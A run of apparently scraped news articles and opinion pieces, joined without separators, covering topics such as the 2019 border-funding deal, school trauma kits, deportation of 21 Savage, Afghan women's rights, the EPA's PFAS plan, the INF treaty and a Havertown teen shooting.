The hosts of Trump favorite Fox & Friends, however, urged the president to agree to the deal and keep the government open, a relief to White House officials and congressional Republicans who had been nervously watching the roll call of conservative media voices, trying to predict where Trump would land.

Conservative Rep. Mark Meadows (R., N.C.), a close ally of the presidents, said that if Trump does agrees to the deal, he could be spared a conservative uproar because everyone expects executive action to follow. Thats despite concerns from many Republicans about executive overreach and the precedent Trump might be setting for future presidents of both parties.

"Two things are clear. We will not have a shutdown of the government and executive action to reprogram additional border security dollars is required," Meadows said.

After the El Paso rally, Trump climbed back aboard Air Force One elated by his boisterous crowd. But his attention quickly turned to the deal as the presidential plane began to streak away from the border city.

As aides filled him in on the outlines, Trump kept an eye on the coverage on Fox News, which was playing onboard, according to a Republican familiar with the president's interactions but not authorized to speak publicly about private conversations.

And, despite the late hour, Trump began calling allies, a process he continued Tuesday from the White House.

The president made clear that he had wanted more money for the wall and worried that it was being spun as a defeat for him in the media, according to the Republican. But others expected him to sign on nonetheless.

Associated Press writers Darlene Superville and Lisa Mascaro contributed to this article.The future of school safety in the post-Parkland era increasingly looks like the large duffel bags that the Central Bucks School District is deploying in every school this fall  a medical kit aimed at keeping gunshot victims from bleeding to death.

The new trauma kits bring to American classrooms lifesaving methods tested on Afghanistan's battlefields. They include tourniquets to stop bleeding from arms or legs, hyfin vents that can be applied to a chest wound, and medicated gauze pads treated with a coagulant to stop blood oozing from a bullet hole.

"It's very sad that we have to think about this, but we have to be prepared," said Mary Anne Canales, nursing coordinator for Central Bucks, which is placing 33 of the rolling duffel bags in all 23 district schools to provide "a safety net for our kids and staff"  echoing a conversation that's grown louder with each mass killing in U.S. schools.

Similar bleeding-prevention kits are coming to dozens of schools across the Philadelphia region this fall, including those in Lower Merion Township and across Bucks and Chester Counties, as well as private schools such as Shipley and Haverford.

In New Jersey, Roxbury, Morris County, touted itself in 2016 as the first town in the country to put such kits in all its schools.

It's not clear that having such a trauma kit on hand would have saved lives in any of the recent mass killings. But the stockpiling of supplies is the mark of a grim admission that  with most gun-control proposals on hold and no consensus on how to stop the spike in mass killings  educators need to focus on how best to keep child gunshot victims alive.

>> READ MORE: In Pa., a flurry of school safety bills, but little action

"This is one thing that people can do," said Matthew Levy, chairman of a nationwide coalition of public-health officials and medical professionals called Stop the Bleed. "Most mass shootings are over in a matter of minutes, but it may take responders a substantial amount of time to secure that scene and get resources to the injured."

Even students are being trained. Levy, director of emergency medical services in Howard County, Md., said bleeding control was taught at one county high school this year and may become part of the curriculum.

Kits range from $45 to $100. Some schools put one in a nurse's offices, while others stock every classroom or place them in hallway cabinets. The idea is that after a shooting, those trained to stop bleeding would be able to get to the wounded and help them before medics arrive.

I think about it every day

The push for medical supplies and for training hundreds of teachers and other potential bystanders in how to use them shows how school officials on the ground are increasingly scrambling for practical safety solutions.

St. Cornelius Catholic School in Chadds Ford made headlines last week by announcing that every eighth grade graduate will get an advanced protective shield that fits inside a backpack and stops bullets from a handgun, or a knife attack.

"I think about it every day," said Robert Vito, CEO of Glen Mills-based Unequal Technologies  which manufactures the SafeShields implant  and a parent of two kids at the school. "We are in the protection business, and I want to give students and faculty a defensive option that they don't have right now."

Both Unequal Technologies' quarter-inch thick bullet-resistant shield and the new emphasis on bleeding-control measures such as tourniquets emerged from lessons learned in Iraq and Afghanistan, where officials say that combat-tested trauma kits reduced preventable deaths for U.S. and British troops by as much as 25 percent.

Trauma is the leading cause of death for Americans 45 and younger, killing nearly 148,000 people in 2014, according to experts. About half of those deaths occurred at the scene of the injury or en route to the hospital.

A National Institute of Health study of civilian tourniquet application found a six-fold reduction in death for injuries to arteries and veins in limbs.

Some doctors worry that bleeding-prevention training might provide a false sense of security, noting that tourniquets help only wounds to the extremities and that improvised tourniquets  such as one fashioned from a shirt  often don't work well. Other experts question whether enough is being done to prevent gun violence in the first place.

>> READ MORE: Yo, Philly: Is there a David Hogg or Emma Gonzalez our there? | Jenice Armstrong

"This kind of seems like one of those reactionary things when we need to deal with how are people getting the guns, are there warning signs among students that people should be concerned about," said Shira Goodman, executive director of CeaseFirePA.

Lars Ola Sjoholm, chief of trauma and surgical critical care at Temple University Hospital, thinks the training is a good idea.

"If they're shot in the limbs, it can be a lifesaving measure," he said, adding that Temple teaches the same technique to people in its North Philadelphia neighborhood. If they're shot in the chest or abdomen, "obviously these measures are not going to work," he said.

Karen Borrelli-Luke, a health and phys ed teacher in Camden, works at Dr. Charles Brimm Medical Arts High School, where kids are taught first aid and CPR. She thinks they could also learn how to stop bleeding.

"I find more times than not people don't know what to do, but they want to help. The more that we train them, the better," she said, though she noted that she had also seen staff freeze up during a crisis.

It's not clear if Philadelphia schools have explored the idea; district officials didn't respond to requests for comment.

Ohio-based citizenAID, which adapted a British model for trauma kits and stresses teacher training as well as a free app for responding to a mass casualty, opened its doors just eight days before February's Parkland, Fla., shooting and has trained more than 6,000 educators, according to CEO Bob Otter.

Said Otter, "Someone can die from a femoral wound in under five minutes  and a paramedic is not going to get to a person in under five minutes."

Stirred to action by Newtown shooting

Levy, the Stop the Bleed chair, said the coalition was spearheaded by the American College of Surgeons after the 2012 school shooting in Newtown, Conn., that killed 26. The Stop the Bleed campaign was launched by the White House after an October 2015 conference focused on training bystanders in bleeding prevention during a crisis.

While all schools have first-aid supplies, many do not stock advanced wound care equipment such as tourniquets, which require specialized training to use properly.

In Bucks County, officials at St. Mary's Medical Center, the county's highest-rated trauma center, offered free training sessions to nearby school districts in the aftermath of Parkland.

"This is a piece of the puzzle," said Kim Everett, the hospital's trauma prevention coordinator, who acknowledged that teachers are already overburdened but nonetheless wants to see them trained in first aid, including CPR and applying tourniquets. "Do I think it's asking too much of them? No."

At Central Bucks  hailed by Everett as "a model for the county"  officials are spending $19,800 to $26,400 on the new kits and planning to train some 150 educators over the summer. For now, Canales said, the plan is to deploy one of the rolling bags  which contain from five to eight individual kits  in each grade school and two in middle and high schools.

>> READ MORE: Philly students protest for tougher gun laws on Columbine massacre's anniversary

Stop the Bleed kits also will be placed in every Chester County school. An initial $17,000 grant from the Southeast Pennsylvania Regional Task Force will pay for 84 kits and staff training, followed by another grant for 84 more kits this fall.

"We're not just focusing on shooting in schools  it's bigger than that," said Chrissy DePaolantonio, Safe Schools planning coordinator for the county's emergency services department. "Even if they fall down the bleachers and get a big gash, it's really controlling a bleed so they don't bleed out."

In Lower Merion, officials recently bought trauma kits for the nurses' offices at each of its 10 schools as well as 30 others that will be placed near existing automated external defibrillators (AEDs). The program, spearheaded by Narberth Ambulance, includes staff training and will cost about $5,000. Paramedics are also training and supplying the private Shipley and Haverford Schools.

Dennis Witt, Lower Merion's supervisor of safety, security and custodians, said the equipment could help school staff respond to a range of emergencies. But like most others he acknowledged that school shootings have been the main motivator. Said Witt: "The world is changing and we need to be prepared and do the best we can."On Sept. 6, 1949, World War II veteran Howard Unruh gunned down 13 innocent people in East Camden. The night before, he had gone to a Market Street movie house and well-known gay pickup spot to meet a man. His date never showed up, but Unruh told investigators that other people from his neighborhood might have seen him at the theater.

Unruh had good reason to worry about that. In the Army, where homosexuality was cause for dishonorable discharge, suspected gays were given rectum examinations and gag tests with a tongue depressor; if you didnt gag, you were assumed to be gay. And after Unruh returned from the war, New Jersey had enacted a so-called sex psychopath law allowing for indefinite incarceration of homosexuals.

Well never know what led to the rampage by Unruh, who was diagnosed as a schizophrenic and spent the rest of his life in Trenton Psychiatric Hospital. But New Jersey students probably wont know about him, either, despite a new law requiring schools to address LGBT history.

Thats because the measure  like so much else in history instruction  is designed to make people feel good. To quote one supporter, it aims to provide positive representations of gay people. And thats a formula for distortion, not education.

I recognize  and deplore  the enormous amount of harassment, bullying, and violence that gay students face every day. And of course all children should learn about the role of sexual minorities in American history, just as they should learn about different races, ethnicities, and religions.

But history isnt therapy; its goal should always be understanding, not well-being. Once we decide to use the past as a salve for our present-day woes, historical truth goes out the window.

During the civil rights era, African Americans demanded inclusion in history textbooks that had either ignored or denigrated them. In Brown v. Board of Education, the Supreme Court declared that racial segregation generates feelings of inferiority in black children. Activists made similar claims about racist textbooks, which allegedly damaged black psyches.

These campaigns helped revise textbooks that falsely depicted slavery as a benevolent institution, Africans as violent savages, and much else. But the new histories imposed distortions of their own, all in the service of enhancing self-esteem.

So while slavery was now condemned, textbooks rarely mentioned that Africans had practiced it as well. Nor did the books address the brutal oppression of Native Americans by Spanish colonialists, which might offend Latino students.

Eventually, whites started to argue that honest accounts of racial injustice would harm their own childrens fragile minds. Education is getting a positive image about oneself, one Michigan parent complained in 1974, condemning a textbook that described white attacks on blacks during the Chicago Race Riot of 1919. No child, white or black, will get a positive image by reading about stabbings, war, the problems.

The result was a history of race without racism, and of diversity without debate. Eventually, almost every group got included in the grand national story. But we only taught the good parts, lest anyone suffer offense or pain.

You cant have real history that way. Of course our schools should teach about gays and lesbians, who have been excluded and disparaged for too long. But nobody should get a free pass, or a clean slate. That condescends to people, all in the guise of protecting them.

So when we teach about gay heroes like Walt Whitman, who also lived in Camden, lets tell the story of Howard Unruh as well. It wont be pretty, and it certainly wont make us feel good. But it will be true.

Jonathan Zimmerman teaches education and history at the University of Pennsylvania. He is the author (with Emily Robertson) of The Case for Contention: Teaching Controversial Issues in American Schools (University of Chicago Press).As President Trump has repeatedly threatened to shut down the government, his demand for a wall has diverted attention from the real challenges we face at our border, including the need to fix our broken immigration system.

Last weekend, I visited the U.S.-Mexico border to better understand border security measures and humanitarian issues there. What I saw was a complex situation that bore little relation to the inflammatory rhetoric of the White House.

We toured the border from urban El Paso to rural New Mexico. We met with Customs and Border Patrol agents and Homeland Security staff (both on and off the record), local officials, medical personnel, immigration advocates, and refugees. We inspected a legal port of entry, cargo X-ray machines, detention areas, and a volunteer-run migrant shelter. Agents showed us the tools they use to patrol our border, from horses and ATVs to trucks equipped with infrared cameras and radar.

Law enforcement officials overwhelmingly expressed the need for more funding: for people, infrastructure, roads, and technology. We saw miles of concrete, chain link, steel slat, and bollard fencing . But without exception, officials said that they need a mix of tools to secure the border. Several agents scoffed at the idea of a wall and repeated versions of, if you build a 20-foot wall, theyll bring a 21-foot ladder.

CBP agents told us that most of the immigrants they encounter are families with children, seeking sanctuary from extreme poverty and violence in Central America  not sneaking into our country. Several agents shared stories of refugees walking up to their cars or offices and knocking on the window to request asylum.

We met Elana, a Guatemalan refugee, at a shelter with her 3- and 5-year-old daughters who are American citizens. Elana (whose name has been changed here to protect her safety) had returned to Guatemala for family reasons, but decided to return to the U.S. out of fear for her childrens safety. Under current law, she had two options: risking her daughters lives in Guatemala or returning to the U.S.

In October, Elana walked across the border with the girls and requested asylum. Despite the family separation policy supposedly ending last June, Elana was detained and her daughters were placed in foster care. No reason was given; Elana has no criminal record and has never been accused of child endangerment. After four months of heartache, she was released and reunited with the girls, a few hours before we met her.

We could see the toll the separation had taken on the family, in Elanas face, her tears, and the way she and her 3-year-old clung to each other. Her 5-year-old was withdrawn and conflicted: She thought her mother had abandoned her and struggled with the attachment she formed to her foster family.

At our border, we did not find a national security emergency, but we did find a humanitarian crisis. We saw dozens of women and children in windowless holding cells, sleeping on benches and cement floors with no room to walk between their bodies, and no place for the children to play.

Law enforcement agents admitted that they struggle to do their jobs because they dont have the facilities, personnel, or resources to process refugees. Our failure to address this humanitarian crisis, with diplomacy, foreign aid, and humane border policies has created a challenge for law enforcement officers. They worry about the bad guys they cannot catch when an officer has to guard a sick refugee child at the hospital. They need resources to address the facts, not a crisis dreamed up by those sowing racist division for political gain.

Our border security policy cannot be driven by tweets and campaign slogans  it must be driven by the facts as we work to fix our broken immigration system.

Mary Gay Scanlon represents Pennsylvanias 5th Congressional district in the United States House of Representatives.Hours before the Super Bowl, rapper 21 Savage was arrested and placed in federal detention awaiting deportation. The arrest of the Atlanta local, whose given name is Sha Yaa Bin Abraham-Joseph, came as a surprise as many of the rappers fans assumed that he was born in Atlanta. However, according to ICE, the 26-year-old rapper was born in the UK and immigrated to the U.S. in 2005. His visa expired in 2006. He was 14 years old.

21 Savage was supposed to head to the Grammys in Los Angeles next week, where he is nominated for two awards. Instead, he is more likely to spend that night either in a federal detention facility or back in the UK  away from his family, in a country he hasnt lived in for over a decade.

As an immigrant, I believe that what happened to 21 Savage is inhumane. Deportation is a cruel tool that is used to break up families and communities. I cannot imagine how devastated Id feel if I was forced to be separated from my wife, my baby daughter, my career, and my life in Philadelphia without knowing when or if I could come back  all over a missing piece of paper. It is an embarrassment that the richest, most powerful country on Earth spends its resources on separating families.

A lot of people who were born in America dont seem to realize how bureaucratic, time-consuming, and expensive it is to be an immigrant in the U.S.  even an extremely privileged immigrant like me. Ive had multiple visas in the past decade  tourist visa, student visa, employment authorization document, green card with condition, green card without condition. Ive agonized over legal documents and forms for countless hours. Ive worried about providing proof that my marriage, to the woman I love, is seen as in good faith" by immigration officials. Ive spent thousands of dollars in fees. My daughter and I dont have the same citizenship or passport.

It is very easy to make mistakes navigating these rules as an immigrant. As an international student you wont be allowed to reenter the U.S. if your school didnt sign a form allowing you to leave. As a permanent resident, you are required to inform U.S. Citizenship and Immigration Services any time you change your address, and you need to remember to renew your visas  costing hundreds of dollars in fees and requiring a biometric interview and multiple confusing forms. When I got my green card, I didnt realize that I would need to go through a process that is called removal of condition" or it will expire after two years. I sent in the application last minute but had to cancel a family vacation because I wasnt sure if I would be able to come back into the U.S. after the trip.

What my own experience taught me is that even if you are a white and affluent immigrant from a country that Trump doesnt consider a shithole," being an immigrant is extremely difficult. Black and brown immigrants also need to navigate a criminal justice system that seeks to punish people of color.

But when I read the news about 21 Savage, I was puzzled: Why couldnt a celebrity who is worth millions of dollars hire lawyers to adjust his status?

According to ICE, the rapper has a drug felony conviction from 2014. That means that his odds of adjusting status that is, moving from being undocumented to having status through work or marriage  is relatively low. There are some things that money cant buy.

Diego Aranda Teixeira, an immigration attorney who specializes in removal defense, says overstaying a visa could be a relatively simple thing to adjust from  though he says nothing is easy in immigration court. But when a criminal record is involved, options are often very limited. Teixeira says that preventing a deportation is always hard but a criminal record can make it even harder: "If you have certain criminal charges, your time in the U.S. could be done.

21 Savage might not have known that he is undocumented. After all, he was 14 when his visa is expired and his parents might not have wanted to talk about it. Teixeira says that is not uncommon. However, as a defense against removal, that wont get him very far.

When politicians say that we need to crack down on immigrants, they dont mean immigrants who look like me. The enforcement of drug and immigration laws are both ways for the state to control the lives of people of color. The story of 21 Savage is the latest version of Jim Crow at work: the state exerting its power against people of color with all its force.As a Trump envoy talks with the Taliban about a possible peace deal for Afghanistan, educated Afghan women fear they will be sold out.

These women recall the era of Taliban rule when they were confined to their homes, while denied education, health care, and the right to work. Although Taliban negotiators claim their views have changed, they vehemently reject the 2004 Afghan constitution that enshrines womens rights (at least in principle).

Fawzia Koofi, a courageous female member of parliament, fears womens rights may get short shrift in the current talks. President Trump has made no secret of his eagerness to quit Afghanistan and wants to pull half the 14,000 U.S. troops there out this year, undercutting U.S. leverage at the table.

It is very worrisome that we may go back to where we were under the Taliban, Koofi told me by WhatsApp from Kabul. They [the Taliban negotiators] pretend to be very nice, she warns, but it is just for the show of getting Americans to leave.

We were the victims of war, and now we dont want to be the victims of peace.

The U.S. envoy, Zalmay Khalilzad  an Afghan American and former U.S. ambassador to Kabul  hopes to clinch a deal by July. But, although they are meeting with Khalilzad, the Taliban still refuse to negotiate with the elected Afghan government. Nor have they agreed to a cease-fire; their fighters in rural areas still destroy girls schools.

This behavior reminds me of what I saw in Kabul, during a 1999 visit in the days of Taliban rule.

I met widows who could not get medical treatment (at the one hospital open to females) because they were forbidden to exit their homes, even shrouded in burkas, unless accompanied by a male relative  and they had none. I shadowed 10-year-old girls who attended secret schools because female education was forbidden.

While girls education is still lagging, at least 1 in 3 young girls go to school, according to UNICEF  compared to none under the Taliban. Many more girls would go in rural areas were it not for continued fighting.

There is a major generational change, says Koofi. Elders from Badakshan ask to build girls schools. An educated girl becomes an asset, respected in the community, a teacher, or a health worker, and she brings money to the family.

There are few women better qualified than Koofi to warn about the still limited but real progress women have made over the 19 years since the end of Taliban rule  and the risks these talks pose. The 19th of her fathers 23 children, in the remote Afghan province of Badakhshan, she was put outside to die because she was female. She survived, and was taken to Kabul by her strong-willed, illiterate mother after her father was murdered in the Afghan civil war. She managed to get an education, only to see her liberal-minded husband jailed by the Taliban shortly after their marriage.

When I visited her in her home in Kabul in 2011, she had been elected to parliament from Badakhshan (27 percent of all seats in the national legislature are reserved for women). Even then she was fighting for female representation in peace talks. Her 12- and 13-year-old daughters told me they dreamed of becoming, respectively, a political leader and a space engineer.

One daughter is now studying at Montclair State University in New Jersey, the other at the American University of Afghanistan, Kabul.

Last week, Koofi traveled to Moscow with a group of senior Afghan politicians (none from the government) for informal talks with some Taliban leaders. She told them: If a girl was born 19 years back (after the defeat of the Taliban) she grew up with a new world, and you cannot put her back. You say women have Islamic rights, but you have a different interpretation of what this means.

Indeed, the Taliban back in 1999 said women had a right to Islamic education but insisted the time wasnt ripe for that to happen. If the current Taliban have changed their views, says Koofi, they need to prove it by opening girls schools in areas they control. Beyond rights in Islam, she asks, what about womens human rights according to international conventions? They must accept this, they cant insist on religious education only.

Most importantly, she asks that Khalilzad make clear the womens issue is not negotiable." The basic provisions on women rights in the Afghan Constitution should be a red line in any talks.

She adds: It is very premature to remove American troops while talks are ongoing. If the United States withdraws completely and if there is no [peace] agreement with all Afghan forces, it will be a surrender to the Taliban.

All the educated women, brave girl students, nurses, teachers, counselors at womens shelters, and independent female parliamentarians whose achievements U.S. presidents have touted will once more fear for their lives. That will be an ugly stain on any president who lets it happen on his watch.Sometimes, love cant happen without anti-capitalism.

People sharing short personals on Red Yenta dont need to clarify that. Red Yenta publishes ads on Twitter and Instagram catering exclusively to leftists looking for other leftists.

I mean, theres clearly a market for it, says Mindy Isser of South Philadelphia, co-founder of Red Yenta. We get bios like every day.

The bios cant run longer than 280 characters, given Twitters limits. That economy required to describe ones attributes has inspired distillations of gender, sexuality, political alignment, and dating styles.

U cant spell BDSM w/out BDS! begins one Red Yenta personal ad, referring both to sex styles and the Boycott, Divestment and Sanctions movement, which pushes for pulling support from Israel and a number of companies. The ad continues: Libertarian socialist (28, she/her) seeks similar (27-35, he/him) to join forces against nonconsensual power dynamics (capitalism, white supremacy, etc.) while exploring consensual ones as friends or more. Send me yr fave song.

The yentas behind the free dating accounts are Marissa Brostoff, a writer and English doctoral candidate based in Brooklyn, and Isser, a local labor organizer. The two, who havent met, draw inspiration from @_personals_, an Instagram account that invites LGBTQ people to describe who they are and whom theyre seeking in tight space through text, a nod to how newspaper personals used to be. Brostoff and Isser receive bios via email and blast them out, most often on Sundays. Potential dates contact each other directly through DM.

Finding the right match in the Trump era, as one matchmaker told the Inquirer, has become much more polarizing." In 2019, its by no means abnormal for people to make their politics known in their dating app bios, or to discourage those who voted for a certain candidate or who didnt vote at all, from getting in touch.

But falling under the liberal umbrella isnt enough for Caitlin Brown, a 35-year-old communications director who lives in the Graduate Hospital neighborhood.

When youre dating somebody, youre not going to agree on everything, but its important to agree on some core values, Brown said. Anti-poverty issues are such a big part of my identity that I want someone who can identify with that, and we can have common ground there.

For Isser, it all started with a Washington Post opinion article from last spring, whose author, a Christian woman, expressed feeling slighted in relationships with Jewish men. Isser got so mad at the piece she started matchmaking Jewish couples. The workload quickly became unwieldy, so Isser took a break from making love connections. Months later, she criticized socialist men who date women who arent leftists on Twitter. A need, once again, became clear.

Brostoff remembers being really excited when she discovered OKComrade, a communist dating community that started on Facebook in 2014 "and then immediately finding that it was all bots and trolls and like three people that seemed datable, but they were like halfway across the world. Brostoff, who writes about sex and socialism, saw Issers tweet about wanting to start a socialist dating site. The writer was on board.

Fortunately, Brostoff said, it seems the notion that debating everything can be sexy is thankfully, finally, really outmoded. The left, she said, has constant divides and arguments already. Like, its fine," she said. We have plenty of stuff to fight over.

One weepy Gemini said she was looking to evade neoliberal expectations by writhing in bed, talking w/o goals/motives. Another leftist, in Durham, N.C., admitted to being mostly ethically non-monogamous but not very good at ethics. A man in Shippensburg, Pa., signaled that hes looking for a situation where they can be more than comrades, and included this note: vegan if it comes to that.

A nonbinary baby anarchist in Mexico City put this in their bio: a tad religious, super queer, early 20s. Dumb brain w/ social anxiety impedes me from mtg people the oldfashioned way, so looking for friendships and more here. running, coffee & lavender. Send pics of yr pets *woof*.

>> READ MORE: In the 2019 dating world, nobody meets in person anymore

Isser and Brostoff find the ads enjoyable to read, and, at times, curious. Brostoff said the specificity of the ads might speak to certain self-consciousness within the leftist community, as potential daters sort through how to name tendencies within tendencies and do so quickly.

Isser agreed: And its kind of like, if you dont understand that, that persons probably not for you.

Many people whove shared notices are LGBTQ, which pleases Brostoff, as communist circles of old had been very heteronormative. Not all users have included their race. Brown didnt list her age, something she regrets, as one of the people who DMed her was 15 years younger.

Skyler Cruz, 23, of Queen Village, said she tried to squeeze her personality into the ad. She had friends vet her bio before she turned it in, but the yentas sent it back, explaining that it needed to be shorter. This was the result: 23, black&puerto rican pan trans girl (she/her) socialist looking for something casual/nonmonog. Fairly reformist, w/ an appetite for the rich. Love biking+dancing in pretty dresses. Lets sip hot cider btwn kisses while St. Vincent plays! Big nerd/cheap date.

One month into their matchmaking, Isser and Brostoff are set to meet for the first time Friday, when Red Yenta hosts a dating game at Verso Books in Brooklyn. The yentas arent aware of anyone whos found love through their accounts yet, but some users say the ads have sparked, at this point, conversations. Cruz was surprised when someone first reached out to her. She recalls thinking, Wow, somebody read about me without a picture.

Cruz is willing to have loving friendships with people who arent leftists, but abiding romantic partnerships? Not a chance.

Ive realized that how you feel politically says a lot about the people around you and what you think peoples lives should be like, Cruz said.

Hookups, though? Thats another question.

A lot of things can slide by on the hookup level, Cruz said. Lets just say that.The U.S. Environmental Protection Agency says it is prepared to move forward with a plan to address the PFAS contamination that has tainted drinking water and groundwater in communities nationwide, including taking steps to begin the process of creating a drinking-water limit for the chemicals.

Amid public outcry and mounting pressure from elected officials, acting Administrator Andrew Wheeler will detail the plan during a news conference Thursday in Philadelphia, the EPA said Wednesday. About 70,000 residents in Bucks and Montgomery Counties were among the first in the nation to discover their drinking water had been contaminated for decades.

A congressional aide briefed on the matter said the EPAs five-part plan includes looking at setting an enforceable limit for PFAS under the Safe Drinking Water Act, and adding the chemicals to a list of hazardous substances, which could allow communities to hold polluters accountable. The plan also involves more monitoring and research about the chemicals by the federal government, according to the aide, who was not authorized to speak publicly about the announcement.

The suggestion that the EPA would take steps toward creating a maximum contaminant level  a standard for how much of the chemicals is safe to drink  for PFOA and PFOS, two types of PFAS, could run contrary to a Politico report last month that the EPA would not pursue a drinking water limit for the chemicals. That report sparked outrage from environmentalists and elected officials, and drew suggestions that PFAS could be an issue in Wheelers confirmation to the administrator post.

It remains unclear whether the EPA will create such a limit. Even if it did, the process would be lengthy and the limit less restrictive than hoped for by advocates.

In recent weeks, members of Congress, including representatives from the Philadelphia region, announced the formation of a PFAS task force, saying they would put pressure on the EPA to regulate the chemicals.

I am pleased the administration is finally putting together an action plan to address the PFAS issues in drinking water across our nation," Sen. Bob Casey (D., Pa.) said on Wednesday. I have long pushed and petitioned them to address these issues impacting Bucks and Montgomery Counties. I look forward to seeing the results and plan on keeping a close watch on their progress."

On Wednesday evening, Wheeler told ABC News that the chemicals were a very important threat and that the new management plan would protect Americans drinking water.

The plan to be unveiled will also continue our enforcement actions and clarify our cleanup strategies, expand monitoring of PFAS in the environment, and enhance our research and scientific foundation for addressing PFAS by developing new analytical methods and tools, according to the EPA.

This action is long overdue, and acting EPA Administrator Wheeler must ensure that PFAS remediation is an immediate priority of the agency, said Rep. Brian Fitzpatrick (R., Pa.). "I am hopeful Thursdays announcement will unveil an aggressive and impactful strategy to counter this public health crisis affecting communities in Bucks and Montgomery Counties and across the United States.

Activists, residents, and state agencies have pushed for action from the EPA on the chemicals, which in 2014 were widely discovered to have leaked into water supplies near military bases nationwide, including sites in Willow Grove and Warminster.

Used in firefighting foams by the military  as well as contained in many common household products  PFAS, or per- and polyfluoroalkyl substances, have been linked to health issues including cancer and reproductive problems. During the summer, EPA officials conducted a listening tour to visit affected areas, including Horsham.

After years of calling for federal action to address the water contamination and any resulting health issues theyve caused in my community, Im looking forward to learning more about the action plan to be released Thursday," said State Rep. Todd Stephens (R., Montgomery), who lives in Horsham. "I remain hopeful that the EPA may finally be stepping up to fulfill their obligations to our residents.

Creating an enforceable drinking water limit can take years. The EPA has created drinking water regulations for only 90 contaminants, and last made changes to those regulations in 2013.

Currently, the EPA has only issued a nonbinding health advisory that many scientists and activists say is too lax. Some states have started the process of creating their own drinking water standards that are much stricter.

A recent analysis by the Inquirer found that the chemicals are present in drinking water in at least 22 towns in the suburbs of Philadelphia in addition to Horsham, Warrington, and Warminster Townships, where the military has taken responsibility for contamination that spread from former naval bases. There, recent blood testing revealed high levels of the chemicals in residents bloodstreams.In a calculated move to undo a historic arms control agreement, Donald Trump in his State of the Union address earlier this month announced American withdrawal from a bilateral Intermediate-range Nuclear Force Treaty signed with Russia in 1987.



Originally called the "Treaty between the United States of America and the Union of Soviet Socialist Republics on the Elimination of their Intermediate-Range and Shorter-Range Missiles," it was later shortened to much less of a mouthful as the INF Treaty.

It was the last major agreement signed by the former leader of the now defunct USSR Mikhail Gorbachev with American President Ronald Reagan, surviving for more than 30 years and saving the old Cold War adversaries from a potential nuclear exchange in Europe.

The treaty banned the development of both conventional and unconventional land-based short and intermediate range cruise and ballistic missiles within a range of 500 and 5,500 km.

It also provided for the dismantling of existing stockpiles, and the two sides did actually destroy hundreds of their missiles falling in the prohibited category.

The agreement was reached after seven years of negotiations and served as a key plank in upholding strategic stability towards the end of the Cold War, including that of the former Soviet Union during the early years of the volatile post-Soviet era.



The landmark deal is now on its way to extinction in less than six months, unless immediate steps are taken by the U.S. and Russia to save it. However, it is unlikely either will lift a finger to save the treaty because, arguably, it has outlived its utility.

The idea to let the INF Treaty fade into history is strategic. Two successive U.S. administrations of Barack Obama and Donald Trump  Democrat and Republican - share similar views on the agreement. In other words, the defense and strategic elites in the U.S. are convinced that it no longer serves the country's interests.

The U.S. believes that not only Russia under Vladimir Putin has violated the treaty and developed supposedly-forbidden weapons, but other countries not covered in the treaty are taking undue advantage of the restrictions on the U.S.

Particularly interesting is the situation in Asia-Pacific, where U.S. considers China as a strategic competitor. The missiles program of the Democratic People's Republic of Korea (DPRK) is also cited as a reason to break the treaty's shackles.

Several other countries including India, Pakistan and even Iran are developing short and intermediate range missiles, worrying the U.S. policymakers who pushed for either scrapping the deal or expanding it to include other countries.

As convincing non-signatories to join up is not possible in short term, the easiest course is to withdraw the INF Treaty, while seeking to create an environment where all stakeholders are prepared to join a renegotiated version.

In the meantime, the U.S. can develop new weapons that can be deployed not only against Russia but also in the Pacific to put pressure on China.

Development and deployment of new short and intermediate-range missiles will usher in a new arms race involving not just the U.S. and Russia but also several other states, unleashing a costly and competitive race without an end in sight, creating strategic instability and unpredictability.

In order to avoid the unforeseen hazards of such new arms struggle, the major players have to ultimately plan a new initiative for a multilateral replacement for the bilateral agreements of the Cold War. This is logical given the growing multilateralism in the world.

The INF treaty was not inclusive in terms of its members and has options to find alternatives to the banned class of missiles. The shorter range and intercontinental missiles below and above the INF treaty limits were not covered by it.

The basic flaw lies in the prohibition applied to the delivery system of a particular type. Even the signatories could use more deadly weapons by mounting them on aircraft and ships.

Despite weaknesses, it would have been better to devise a system to remove the shortcomings in the treaty by adding a protocol to it rather than simply scrapping it.

But it should not be the end of it. Let there be a debate how to plan a more inclusive agreement to save the coming generations from the arms race in this category of weapons.

Sajjad Malik is a columnist with China.org.cn. For more information please visit:

http://www.china.org.cn/opinion/SajjadMalik.htm

Opinion articles reflect the views of their authors, not necessarily those of China.org.cn.The MOET welcomed its new DG and Directors and farewelled the teachers that were recruited to teach in Nauru in its Prayer Breakfast this week.One of James McCauleys friends told police that he knew the 17-year-old kept a gun his car. Two others said they took a ride with McCauley late Tuesday through Havertown and bore witness to a botched drug deal in which he used the stolen weapon to shoot another teen in the face, changing the lives of two Delaware County families.

McCauley was arrested early Wednesday and charged with attempted murder, aggravated assault, and related offenses in the shooting of Marquis Mays, like him a senior at Haverford High School, who investigators said suffered catastrophic injuries. The gunfire, police said, came after an argument over an ounce of marijuana worth about $150.

Mays, 18, remained in critical but stable condition Wednesday night at Thomas Jefferson University Hospital with the bullet still lodged in his neck, according to Delaware County District Attorney Katayoun M. Copeland.

As Mays, an offensive lineman and receiver on Haverfords football team, lay in a hospital bed in Philadelphia, McCauley sat in handcuffs in a Broomall courtroom. District Judge Robert DAgostino set bail at $1 million cash and scheduled a preliminary hearing for next Thursday. McCauley was sent to the county prison.

His attorney, Christopher Koschier, said after the hearing that there are often two or three or more sides to every story," and that his client hadnt had the opportunity to rebut or challenge the narrative put forth by the District Attorneys Office.

McCauleys family said little as they left court, with his mother covering her face and saying only that the shooting was in self-defense. His grandfather, misty-eyed, said the shooting is a tragedy.

A teen who accompanied McCauley to the drug deal told police that one of Mays friends had attacked him, according to the affidavit of probable cause for McCauleys arrest. The witness said he and his cousin hitched a ride with McCauley in his mothers Lincoln sedan Tuesday night. The three traveled to Rose Tree Lane in Havertown, where they were met by three other teens, including Mays.

Inside the sedan, the teens discussed the marijuana sale. During the conversation, one of Mays friends grew agitated that a friend of McCauleys became touchy with Mays, he told police. An argument ensued, and Mays friend told detectives he punched the other teen in the face as the group got out of the car.

As the teens tussled, the witnesses said, McCauley pulled out a .40-caliber handgun and fired once, striking Mays in the face, according to the affidavit.

Police arrived shortly afterward and found Mays in the street bleeding from a gunshot wound, according to Haverford Township Police Chief John Viola.

Using surveillance footage from surrounding houses and statements from the witnesses, detectives were able to identify McCauley and arrested him as he left home to go to school, Viola said.

